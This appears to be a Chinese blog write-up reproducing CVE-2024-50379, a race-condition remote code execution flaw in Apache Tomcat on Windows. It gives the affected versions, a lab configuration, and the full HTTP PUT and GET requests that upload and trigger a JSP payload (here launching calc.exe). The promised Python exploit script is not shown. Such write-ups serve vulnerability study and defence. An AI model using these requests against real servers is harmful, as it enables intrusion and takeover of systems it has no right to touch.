【漏洞复现】Tomcat 远程代码执行漏洞 (CVE-2024-50379)

目录

漏洞简介

影响版本

环境搭建

漏洞复现

漏洞 exp


漏洞简介

Apache Tomcat 存在一个远程代码执行漏洞,当默认Servlet的readonly参数被设置为 false时,攻击者可以利用条件竞争,使用PUT方法上传恶意代码并触发执行,导致服务器失陷。

影响版本

该漏洞仅影响 Windows 环境。

  • 9.0.0.M1 ≤ Apache Tomcat < 9.0.98
  • 10.1.0-M1 ≤ Apache Tomcat < 10.1.34
  • 11.0.0-M1 ≤ Apache Tomcat < 11.0.2

环境搭建

复现环境:

  • win2016(虚拟机内存 1G,处理器一个) + tomcat 9.0.97 。tomcat9 要先安装至少 jdk1.8 的环境。

前置条件:Tomcat配置中的 readonly 参数为 false,且允许使用PUT方法,且系统为Windows。

在 conf\web.xml 中添加如下配置将 readonly 参数设置为false 即可。tomcat 默认允许 put 方法所以无需修改。

<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
</init-param>

漏洞复现

首先尝试使用 PUT 方法上传一个 test.Jsp 文件 ,发现上传成功

PUT /test.Jsp HTTP/1.1
Host: 192.168.67.158:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Content-Length: 45

<% Runtime.getRuntime().exec("calc.exe");%>

但是是不会解析的

所以,下面通过条件竞争的方式不断发送请求上传包含 JSP 代码的文件,触发 Tomcat 对其解析和执行,最终实现远程代码执行弹出 calc。

  1. 同时并行发送如下 4 个请求
PUT /test1.Jsp HTTP/1.1
Host: 192.168.67.158:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Content-Length: 45

<% Runtime.getRuntime().exec("calc.exe");%>
PUT /test2.Jsp HTTP/1.1
Host: 192.168.67.158:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Content-Length: 45

<% Runtime.getRuntime().exec("calc.exe");%>
GET /test1.jsp HTTP/1.1
Host: 192.168.67.158:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0

GET /test2.jsp HTTP/1.1
Host: 192.168.67.158:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0

漏洞 exp

为了方便,这里我将其写成了 python 脚本,一键执行

大约两分多钟...

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ly4j

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值